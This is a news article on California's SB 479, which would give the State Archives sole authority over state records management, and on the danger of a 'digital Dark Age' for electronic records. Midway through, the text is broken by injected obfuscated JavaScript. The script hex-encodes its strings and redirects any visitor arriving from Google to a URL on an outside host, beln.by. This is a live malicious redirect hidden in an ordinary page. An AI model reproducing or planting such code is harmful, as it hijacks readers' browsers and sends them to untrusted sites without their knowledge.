Ultimate paper chase: Saving California’s historical record

Faced with exponentially growing electronically created information and the potential for a “digital Dark Age,” California is poised to change how it preserves the mountains of government documents generated since statehood –163 years ago.

Up until 50 years ago, responsibility for protecting California’s historic records rested solely with the Secretary of State where it had been since the Legislature established the State Archives in the first bill of the then 52–member body’s first session in 1849.

When the Department of General Services was created in 1963 it received the job of setting the rules regarding retention – and destruction — of the reams of regulations, memorandums, studies, reports and files created each year by the state’s executive branch.

Authority over legislative and court documents remained with the archives.

Then Secretary of State, Frank Jordan, opposed the move. In an April 3, 1963 letter to Gov. Pat Brown, Jordan said splitting the task between the archives and the new agency would be duplicative and more expensive for taxpayers.

“We do not feel that there are any substantial benefits to be gained by making such a change at this time,” Jordan said in his letter, quoting a 1961 efficiency report by Brown’s own Department of Finance examining a similar proposal.

Half a century later almost to the day, Secretary of State Debra Bowen says the same thing in support of SB 479 by Sen. Marty Block, a San Diego Democrat, which restores complete control over records management to the archives.

“(This bill) will provide a more efficient records management program,” Bowen writes in an April 16 letter as sponsor of Block’s bill. “(It) will reduce state costs and improve the ability of California to retain and preserve its most valuable records.”

Although the Department of General Services doesn’t comment on pending legislation, the current Brown administration appears to share Bowen’s view.

The administration has lodged no opposition to Block’s bill, which hasn’t received a single “no” vote in the Senate and the Assembly. The bill is slated for an August hearing in the Assembly Appropriations Committee.

Although non-controversial, the measure highlights the mounting challenge California faces in coping with a rapidly expanding number of electronic records. Not var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} just creating storage space to preserve them but deciding which deserve preservation.

The law says digital records are equally as important as paper ones although that isn’t always how they’re treated.

Block says unifying decision-making on state records in the archives will lead to a more cohesive strategy in coping with the growing number of electronically generated documents – from creation to preservation.

It might also lead to a more timely strategy. The current Electronic Records Management Handbook was created by the Department of General Services in February 2002 to replace the August 1995 edition of the handbook.

And update of the handbook is supposed to be completed by the end of August, the department says.

Returning sole responsibility over records management to the archives was recommended more than four years ago by the California Historical Records Advisory Board in its Strategic Plan for Preserving California’s Documentary Heritage.

In it’s California Records and Information Management program, general services defines a record as “all paper, maps, exhibits, magnetic or paper tapes, photographic film and prints and other documents produced, received, owned or used by an agency – regardless of media, physical form or characteristic.”

Similarly, California’s first Legislature charged the archives to preserve “all public records, registered maps, books, papers, rolls, documents and other writings… in any way connected with the political history and past administration of the government of California.” In other words, records of historical value.

A rough estimate is that California government generates slightly less than 24,000 documents daily, an increasing number of them created digitally.

Of those documents, a relatively small percentage will wind up in the archives. A far bigger percentage will be stored for a time and then destroyed.

The State Records Center, a mammoth warehouse in West Sacramento, stores records and documents for 144 different state agencies – some 850,000 cubic feet worth.

A cubic foot is roughly the size of cardboard file box.

The vast majority of what’s stored at the records center will eventually be destroyed after a prescribed period of time.

The State Archives protects 118,000 cubic feet of records.

That’s about 2 percent of the state’s total annual document output, according to estimates by the Secretary of State.

If 118,000 cubic feet is 2 percent of the materials created each year by the state, total annual output would be 5.9 million cubic feet.

At 248 working days per year that’s an average of 23,790 documents generated daily.

The state doesn’t know what percentage of its stored materials is digitally created but says the percentage is increasing.

In the archives, there are 22 terabytes of digital records. A terabyte is 1 trillion bytes or 1,000 gigabytes.

According to one comparison, 10 terabytes could hold the entire print collection of the Library of Congress, which includes 35 million catalogued books.

While physical documents can be damaged by weather, mishandling or natural disaster, electronic documents pose their own unique challenges.

Like winking out of existence. Permanently.

For example, hypothetically, the Department of Public Health digitally creates its 2012 annual report and posts it on the department’s website. By even the narrowest definition of “historical value,” the annual report warrants at least temporary preservation after its “useful” life.

One year later, the 2013 annual report replaces the 2012 annual report on the department’s website.

Without a copy saved elsewhere, the 2012 annual report no longer exists.

Even if a copy is made, is it on a platform or software that will still exist 20, 50, 100 years later? Or will it go the way of 8Track, Betamax and landlines?

Without clear and enforceable rules, a digital Dark Age could ensue, say Block and the backers of his bill.

Block argues that having one agency in charge better regulates the entire lifecycle of an important document – paper or digital – from creation to temporary storage to destruction or permanent storage at the archives.

“By having one agency in charge from the beginning to the end of a document’s life means that document will be created in a way that ensures proper preservation,” Maria Lopez, a spokeswoman for Block, told Capitol Weekly.

“That’s not just good for history buffs but for taxpayers because it helps reduce duplication and expense.”

Ed’s Note: Greg Lucas, the publisher of California’s Capitol, is a contributing editor of Capitol Weekly.

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